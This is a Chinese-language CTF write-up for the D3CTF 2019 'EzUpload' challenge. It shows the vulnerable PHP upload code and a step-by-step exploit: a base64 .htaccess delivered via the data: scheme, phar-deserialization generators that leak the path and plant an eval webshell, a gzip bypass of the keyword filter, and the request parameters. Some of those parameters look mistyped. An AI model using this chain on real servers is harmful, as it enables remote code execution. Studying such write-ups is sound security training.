CTF

[D3CTF 2019]EzUpload(phar反序列化/.htaccess+phar关键字绕过)

Posted on 2020-05-15,5 min read

题目给出了源码

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
    public function __construct($url,$filename) {
        $this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
        $this->url = $url;
        $this->filename  =  $filename;
        if (!file_exists($this->userdir)) {
            mkdir($this->userdir, 0777, true);
        }
    }
    public function checkdir(){
        if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
            die('hacker!!!');
        }
    }
    public function checkurl(){
        $r = parse_url($this->url);
        if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
            die('hacker!!!');
        }
    }
    public function checkext(){
        if (stristr($this->filename,'..')){
            die('hacker!!!');
        }
        if (stristr($this->filename,'/')){
            die('hacker!!!');
        }
        $ext = substr($this->filename, strrpos($this->filename, ".") + 1);
        if (preg_match("/ph/i", $ext)){
            die('hacker!!!');
        }
    }
    public function upload(){
        $this->checkdir();
        $this->checkurl();
        $this->checkext();
        $content = file_get_contents($this->url,NULL,NULL,0,2048);
        if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
            die('hacker!!!');
        }
        file_put_contents($this->userdir."/".$this->filename,$content);
    }
    public function remove(){
        $this->checkdir();
        $this->checkext();
        if (file_exists($this->userdir."/".$this->filename)){
            unlink($this->userdir."/".$this->filename);
        }
    }
    public function count($dir) {
        if ($dir === ''){
            $num = count(scandir($this->userdir)) - 2;
        }
        else {
            $num = count(scandir($dir)) - 2;
        }
        if($num > 0) {
            return "you have $num files";
        }
        else{
            return "you don't have file";
        }
    }
    public function __toString() {
        return implode(" ",scandir(__DIR__."/".$this->userdir));
    }
    public function __destruct() {
        $string = "your file in : ".$this->userdir;
        file_put_contents($this->filename.".txt", $string);
        echo $string;
    }
}

if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
    highlight_file(__FILE__);
    die();
}

$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
    $dir->upload();
}
elseif ($_POST['action'] === "remove") {
    $dir->remove();
}
elseif ($_POST['action'] === "count") {
    if (!isset($_POST['dir'])){
        echo $dir->count('');
    } else {
        echo $dir->count($_POST['dir']);
    }
}

upload:
1.创建沙盒
2.检查url不能带file和php,filename不能带..或/。后缀名不能以ph结尾
3.最后。他会file_get_contents($url)。然后不能出现黑名单中的东西。然后再file_put_contents写入

remove:
就删除文件。没啥好说的

count:
扫描当前目录有多少文件

首先。upload是采用黑名单过滤。不能传php。那么可以配合.htaccess解析
我们可以用data伪协议传.htaccess

data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0
AddHandler php7-script .txt

然后现在就能解析txt为php
在代码的析构函数中。存在file_put_contents($this->filename.".txt", $string);
而string。又是$this->userdir可控。我们可以构造$this->filename为xxx。然后$this->userdir为一句话。然后触发反序列化即可。
在upload中。由于url没过滤phar://。那么我们可以在VPS上。放构造好的phar。然后
url=http://xxx/1.jpg&filename=1.jpg
url=phar://upload/xxxx/1.jpg&filename=1
即可触发反序列化。生成xxx.txt
这有个triks。在析构函数中。当前目录是根目录。也就是说。我们还得知道web的绝对路径
这里存在个tostring魔术方法。
可以将$this->userdir赋值为当前类。然后触发tostring。反序列化userdir为..。就可以得到当前路径

获取路径

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
}
$a=new dir();
$b=new dir();
$b->userdir='..';
$a->userdir=$b;
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering(); 
$phar->setStub('GIF89a'."__HALT_COMPILER();"); 
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

放到VPS上。为1.jpg
下载文件:
action=upload&filename=http://xxx.xxx.xxx.xx/1.jpg&filename=1.jpg
触发反序列化。得到目录名
action=upload&filename=phar://upload/fdjkfjdkfjkdiofweu/1.jpg&filename=1
至此。已得到了目录名。
然后写shell

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
}
$a=new dir();
$a->filename='/var/www/html/a878dbebc902328b/upload/48cd8b43081896fbd0931d204f947663/test';
$a->userdir='<?php eval($_POST[1]);?>';
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering(); 
$phar->setStub('GIF89a'."__HALT_COMPILER();"); 
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后将这个文件gzip phar.phar
下载文件:
action=upload&filename=http://xxx.xxx.xxx.xx/2.jpg&filename=2.jpg
触发反序列化。生成test.txt
action=upload&filename=phar://upload/fdjkfjdkfjkdiofweu/2.jpg&filename=2
这里不太懂。为啥phar可以直接解析gzip压缩过的文件内容
生成.htaccess
action=upload&filename=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0&filename=.htaccess
然后就得到了shell

下一篇: Phuck2(data协议处理差异)→